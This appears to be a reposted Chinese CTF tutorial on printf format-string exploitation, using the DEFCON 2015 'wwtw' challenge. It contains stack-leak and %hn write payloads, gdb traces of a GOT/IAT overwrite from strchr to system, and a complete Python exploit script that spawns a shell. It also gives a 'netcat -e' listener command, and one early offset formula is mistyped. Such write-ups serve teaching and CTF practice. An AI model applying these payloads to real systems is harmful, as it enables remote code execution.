<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/binary/6259

                    0x00 前言


                    本文是二進制漏洞相關的系列文章。printf有一些鮮為人知的特性,在為編碼提供便利的同時,也引入了安全的問題。本文重點描述printf在漏洞利用中的一些用法,在正常的編程中不建議這么用。

                    0x01 概述


                    printf系列函數的%$(如:%20$x)格式輸出,可泄漏棧內的數據(如模塊加載的基址),給攻方提供下一步所必須的信息; prinrf系列函數的%n、%hn格式輸出,可修改棧中指針指向的任意可寫地址(如函數向量表中函數的地址,Windows下叫IAT)。

                    0x02 基礎知識


                    通常printf的%根據在格式串中出現的順序,依次使用棧中的地址,但是使用$可以指定特定序號的棧參數。例如: printf(%20$x, 0x100)實際輸出的是第20個參數的值。盡管調用者沒有提供20個參數,但是c調用格式的壓棧方式,能使該代碼順利執行。

                    第20個參數就是call之前的[esp+4*20],如果在某次call時,[esp+4*20]固定的保存著某個關鍵值,該值就會泄漏給攻擊者。

                    如果該值是鏡像模塊的某一地址,這個泄漏就會使ASLR(Address space layout randomization)形同虛設。

                    printf系列函數的%n格式在編程中并不常用。在MS的高版本的運行時庫中已經不支持了,代替的是_printf_p函數,參見:https://msdn.microsoft.com/zh-cn/library/Vstudio/bt7tawza(v=vs.110).aspx

                    以下是printf特殊用法的一些例子:

                    printf("%2$c,%1$c\n", 'B', 'A');       //$表示使用第幾個參數,輸出A,B
                    
                    printf("%88c%n\n", 'A', buff);         //打印88個字符,前面用空格填充,
                                                           //最后一個是'A',同時*(int *)buff=88。
                    printf("%1024c%23$hn\n");              //帶有攻擊性的做法,第01個參數對用%c,
                                                           //具體是什么不關心,目標是是把第23個參數
                                                           //指向的內存的前2個字節賦值為1024。
                    printf("%*c%hn\n", 0x1234, 'A', buff); //打印0x1234個字符,前面用空格填充,
                                                           //最后一個是'A',同時*(short *)buff = 0x1234。
                    

                    上面這行代碼具體說明一下:

                    此外順便看一下#的用法:

                    printf("%#d\n", 0x10);  //#表示輸出前導符,如:16
                    printf("%#x\n", 0x10);  //#表示輸出前導符,如:0x10
                    printf("%#o\n", 0x10);  //#表示輸出前導符,如:020
                    

                    0x03 實例片段


                    下面是內存的棧內存的變化情況來展示攻擊的過程。

                    在調用printf時,執行call指令之前:

                    (gdb) uu $eip
                    => 0x2a9188:    call   0x2a8880 <[email protected]>
                       0x2a918d:    lea    eax,[ebx-0x1fb4]
                       0x2a9193:    mov    DWORD PTR [esp],eax
                    

                    此時的堆棧如下:

                    (gdb) dd $esp
                    0xBFFF4FE0 : BFFF501C 58601366 4049BEFE EF0F16F4
                    0xBFFF4FF0 : BFC8B039 004E6927 BFFF522C BFFF5024
                    0xBFFF5000 : BFFF5233 BFFF5026 58601366 4049BEFE
                    0xBFFF5010 : EF0F16F4 BFC8B039 00000001 342E3135
                    0xBFFF5020 : 33313239 2D202C37 39312E30 38373832
                    0xBFFF5030 : 31253A20 25633632 68243732 3432256E
                    0xBFFF5040 : 63363539 24383225 41416E68 002AD05E
                    0xBFFF5050 : 002AD05C 00280000 00470048 00000006
                    

                    其中第一個參數BFFF501C,就是攻擊字符串,從以下代碼可以看到,目標地址是第27、28參數的兩個地址:

                    (gdb) db BFFF501C
                    0xBFFF501C : 35 31 2E 34 39 32 31 33 - 37 2C 20 2D 30 2E 31 39 51.492137, -0.19
                    0xBFFF502C : 32 38 37 38 20 3A 25 31 - 32 36 63 25 32 37 24 68 2878 :%126c%27$h
                    0xBFFF503C : 6E 25 32 34 39 35 36 63 - 25 32 38 24 68 6E 41 41 n%24956c%28$hnAA
                    0xBFFF504C : 5E D0 2A 00 5C D0 2A 00 - 00 00 28 00 48 00 47 00 ^.*.\.*...(.H.G.
                    

                    第27個參數是002AD05E,第28個參數是002AD05C,實際上是修改002AD05C處的4個字節。 目標地址002AD05C在調用printf之前的值是009843E0:

                    (gdb) dd 0x002AD05C
                    0x002AD05C : 009843E0 002A89B6 00921C00 002A89D6
                    0x002AD06C : 0099C620 002A89F6 00A07EC0 002A8A16
                    0x002AD07C : 009EF0D0 009371C0 009EEBD0 002A8A56
                    0x002AD08C : 00000000 002AD090 00000000 00000000
                    

                    地址009843E0就是函數strchr,可以查看一下:

                    (gdb) uu 0x09843E0
                       0x9843e0 <strchr>:   push   edi
                       0x9843e1 <strchr+1>: mov    eax,DWORD PTR [esp+0x8]
                       0x9843e5 <strchr+5>: mov    edx,DWORD PTR [esp+0xc]
                       0x9843e9 <strchr+9>: mov    dh,dl
                    

                    接著執行printf的調用:

                    (gdb) nn
                       0x002a918d in ?? ()
                    => 0x2a918d:    lea    eax,[ebx-0x1fb4]
                    

                    調用printf之后,查看目標地址002AD05C的值:

                    (gdb) dd 0x002AD05C
                    0x002AD05C : 00946210 002A89B6 00921C00 002A89D6
                    0x002AD06C : 0099C620 002A89F6 00A07EC0 002A8A16
                    0x002AD07C : 009EF0D0 009371C0 009EEBD0 002A8A56
                    0x002AD08C : 00000000 002AD090 00000000 00000000
                    

                    原來的009843E0變成了00946210,也就是system的地址,可以查看一下:

                    (gdb) uu 0x946210
                       0x946210 <system>:   sub    esp,0xc
                       0x946213 <system+3>: mov    DWORD PTR [esp+0x4],esi
                       0x946217 <system+7>: mov    esi,DWORD PTR [esp+0x10]
                    

                    此時對strchr的調用變成了對system的調用,隨后如果攻擊者發送"/bin/sh"字符串,本來由strchr處理的事情,現在變成了由system處理,從而達成了執行system("/bin/sh")的目標。

                    0x04 實例分析


                    這里采用了DEFCON CTF 2015的一個pwn做為例子(wwtw_c3722e23150e1d5abbc1c248d99d718d)。

                    在wwtw前面的俄羅斯方塊的劇情可nop掉,以便程序直接到我們關注的函數sub_1027()。此外,定時器也會影響調試,給nop掉以方便調試。 要攻擊的目標函數流程如下:

                        #!c++
                    int sub_1027()
                    {
                      double v0; // [email protected]
                      int result; // [email protected]
                      int v2; // [email protected]
                      char *nptr; // [sp+24h] [bp-424h]@4
                      double v4; // [sp+30h] [bp-418h]@6
                      char s; // [sp+3Ch] [bp-40Ch]@2
                      int v6; // [sp+43Ch] [bp-Ch]@1
                    
                      v6 = *MK_FP(__GS__, 20);
                      while ( 1 )
                      {
                        while ( 1 )
                        {
                          printf("Coordinates: ");
                          fflush(stdout);
                          if ( sub_F7E(0, (int)&s, 0x3FF, 10) == -1 )
                            exit(-1);
                          nptr = strchr(&s, 0x2C);
                          if ( nptr )
                            break;
                          puts("Invalid coordinates");
                        }
                        v0 = atof(&s);
                        v4 = atof(nptr + 1);
                        printf("%f, %f\n", v0, v4);
                        if ( 51.492137 != v0 || -0.192878 != v4 )
                          break;
                        printf("Coordinate ");
                        printf(&s);
                        printf(" is occupied by another TARDIS.  Materializing there ");
                        puts("would rip a hole in time and space. Choose again.");
                        fflush(stdout);
                      }
                      printf("You safely travel to coordinates %s\n", &s);
                      result = fflush(stdout);
                      if ( *MK_FP(__GS__, 20) != v6 )
                        sub_2EF0(v2, *MK_FP(__GS__, 20) ^ v6);
                      return result;
                    }
                    

                    其中sub_F7E()函數讀取用戶的輸入,放在0x3FF長的一段內存中,從匯編碼看這是一個棧上的內存,這是一個關鍵,如果放在堆中就很難完成攻擊。

                    用戶輸入的數據在函數內經過一番處理后,printf(&s)又把用戶的輸入原樣輸出了。因此我們可以構造下面的字符串,來獲取libc和程序本身的加載地址。

                    "51.492137, -0.192878 :%282$p:%275$p:\n"
                    

                    相應得到的返回結果:

                    Coordinate 51.492137, -0.192878 :0x917744:0x2a9491: is occupied by another TARDIS. 
                    Materializing there would rip a hole in time and space. Choose again.
                    

                    其中0x917744是libc代碼段的一個固定地址,0x2a9491是程序自己代碼段的一個固定地址,由于是固定的地址,因此可通過偏移修正得到加載基址:

                    libc_base = 0x917744 - 0xc744 = 0x90b000
                    mod_base  = 0x2a9491 - 0x1491 = 0x2a8000
                    

                    接著進行下一步的攻擊,終極目標是執行system("/bin/sh")。 這里選擇替換strchr()的IAT,當然atof()也是一個不錯的選擇。從IDA可以知道strchr()的IAT偏移為0x505c, system()在libc中的實際偏移地址為0x3b210。結合上面得到的mod_base和libc_base可以算出攻擊時system()的地址和strchr()的IAT的真實地址,而不受ASLR的限制。

                    system_funaddr = 0x90b000 + 0x3b210= 0x946210
                    strchr_iataddr = 0x2a8000 + 0x505c = 0x2ad05c
                    

                    攻擊目標進一步明確為: 替換mod_base+0x505c處的值為libc_base+0x3b210; 發送"/bin/sh",觸發system("/bin/sh")。

                    用libformatstr可方便的生成exp,參見:https://github.com/hellman/libformatstr

                    preload = "51.492137, -0.192878 :"
                    prelen = len(preload)                       ###22###
                    offset = ((system_funaddr >> 16 - prelen) << 16) + ((system_funaddr - prelen) & 0xffff)
                    fsb = libformatstr.FormatStr()
                    fsb[strchr_iataddr] = offset & 0xffffffff   ###0x7e61fa###
                    index = (60 + prelen + 3) / 4
                    payload = fsb.payload(index, prelen)
                    exp = preload + payload + "\n"
                    

                    生成的攻擊串exp為:

                    51.492137, -0.192878 :%126c%27$hn%24956c%28$hnAA\x5e\xd0\x2a\x00\x5c\xd0\x2a\x00
                    

                    其中包含\x00,這是不完美的,但不影響功能。

                    關于exp的幾點說明:

                    1. 由于%hn只能修改一個WORD,因此修改一個DWORD需要2個%hn。
                    2. exp中"51.492137, -0.192878 :%126c"為22+126(0x94),對應x5e\xd0\x2a\x00的2字節。
                    3. exp中"51.492137, -0.192878 :%126c%24956c"為22+126+24956(0x6210),對應x5c\xd0\x2a\x00的2字節。
                    4. 攻擊串必須被放在棧中,否則構造的\x5e\xd0\x2a\x00\x5c\xd0\x2a\x00無法被%27$hn訪問到。
                    5. 從預分析中得知call printf時ESP到exp頭的距離是60字節(0xBFFF501C-0xBFFF4FE0),由index = (60 + prelen + 3)/4,向上取整即第21個參數,生成時加了6個是payload本身的長度,從而確保[esp+27*4]處正好是\x5e\xd0\x2a\x00。
                    6. libformatstr會根據prelen的長度,以及payload本身的長度計算\x5e\xd0\x2a\x00\x5c\xd0\x2a\x00前需要補充的padding,因此fsb.payload的第二個參數設置為prelen。但在計算%c的時候有沒有考慮prelen的長度,需要自己求得修正后的offset。

                    0x05 exp代碼


                    #!python
                    # -*- coding: utf-8 -*-
                    
                    import sys
                    import socket
                    import time
                    import telnetlib
                    import libformatstr
                    
                    def read_data(expsock, endstr):
                        data = ''
                        while not data.endswith(endstr):
                            data += expsock.read(1)
                        return data
                    
                    offset_system  = 0x3b210
                    offset_strchr_iat = 0x505c
                    
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.connect(('127.0.0.1', 2606))
                    expsock = sock.makefile('rw', bufsize=0)
                    
                    print read_data(expsock, "Selection: ")
                    expsock.write("3\n")
                    print read_data(expsock, "Coordinates: ")
                    
                    expsock.write("51.492137, -0.192878 :%282$p:%275$p:\n")
                    respond = read_data(expsock, "Coordinates: ")
                    
                    libc_base = int(respond.split(':')[1],16) - 0xc744
                    mod_base = int(respond.split(':')[2],16) - 0x1491
                    system_funaddr = libc_base + offset_system
                    strchr_iataddr = mod_base + offset_strchr_iat
                    
                    print "mod_base", hex(mod_base)
                    print "libc_base", hex(libc_base)
                    print "system_funaddr", hex(system_funaddr)
                    print "strchr_iataddr", hex(strchr_iataddr)
                    
                    preload = "51.492137, -0.192878 :"
                    prelen = len(preload)                       ###22###
                    offset = (((system_funaddr >> 16) - prelen) << 16) + ((system_funaddr - prelen) & 0xffff)
                    fsb = libformatstr.FormatStr()
                    fsb[strchr_iataddr] = offset & 0xffffffff   ###0x7e61fa###
                    index = (60 + prelen + 3) / 4
                    payload = fsb.payload(index, prelen)
                    exp = preload + payload + "\n"
                    
                    print "rxp:", exp
                    print "rxp:", exp.encode('hex')
                    
                    time.sleep(50) #for debug
                    
                    expsock.write(exp)
                    read_data(expsock, "Coordinates: ")
                    expsock.write("/bin/sh;\x00\n")
                    
                    sh = telnetlib.Telnet()
                    sh.sock = sock
                    sh.interact()
                    

                    0x06 構建環境


                    本文的GDB調試環境使用了.gdbinit和pygdb.py,擴展了raw gdb的功能。 原ELF文件前面有許多坑,為了方便測試,這里繞過了這些坑,修改如下:

                        00000E82: 85 40
                        00000E83: C0 40
                        00001254: E8 90
                        00001255: B4 90
                        00001256: 1A 90
                        00001257: 00 90
                        00001258: 00 90
                        00001259: E8 90
                        0000125A: 5A 90
                        0000125B: FC 90
                        0000125C: FF 90
                        0000125D: FF 90
                        0000125E: 85 33
                        00001335: E8 90
                        00001336: 91 90
                        00001337: F8 90
                        00001338: FF 90
                        00001339: FF 90
                        0000133A: 8D 90
                        0000133B: 83 90
                        0000133C: CB 90
                        0000133D: BB 90
                        0000133E: FF 90
                        0000133F: FF 90
                        00001340: 89 90
                        00001341: 44 90
                        00001342: 24 90
                        00001343: 04 90
                        00001344: C7 90
                        00001345: 04 90
                        00001346: 24 90
                        00001347: 0E 90
                        00001348: 00 90
                        00001349: 00 90
                        0000134A: 00 90
                        0000134B: E8 90
                        0000134D: F5 90
                        0000134E: FF 90
                        0000134F: FF 90
                        00001350: C7 90
                        00001351: 04 90
                        00001352: 24 90
                        00001353: 02 90
                        00001354: 00 90
                        00001355: 00 90
                        00001356: 00 90
                        00001357: E8 90
                        00001358: 94 90
                        00001359: F5 90
                        0000135A: FF 90
                        0000135B: FF 90
                        00001468: 85 40
                        00001469: C0 40
                    

                    服務端啟動監聽。通常了nc不支持-e參數,需用netcat。

                    ./netcat -l -p 2606 -e ./wwtw_4
                    ./wwtw_4.py
                    

                    id 查看結果:

                    uid=0(root) gid=0(root) group=0(root) env=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频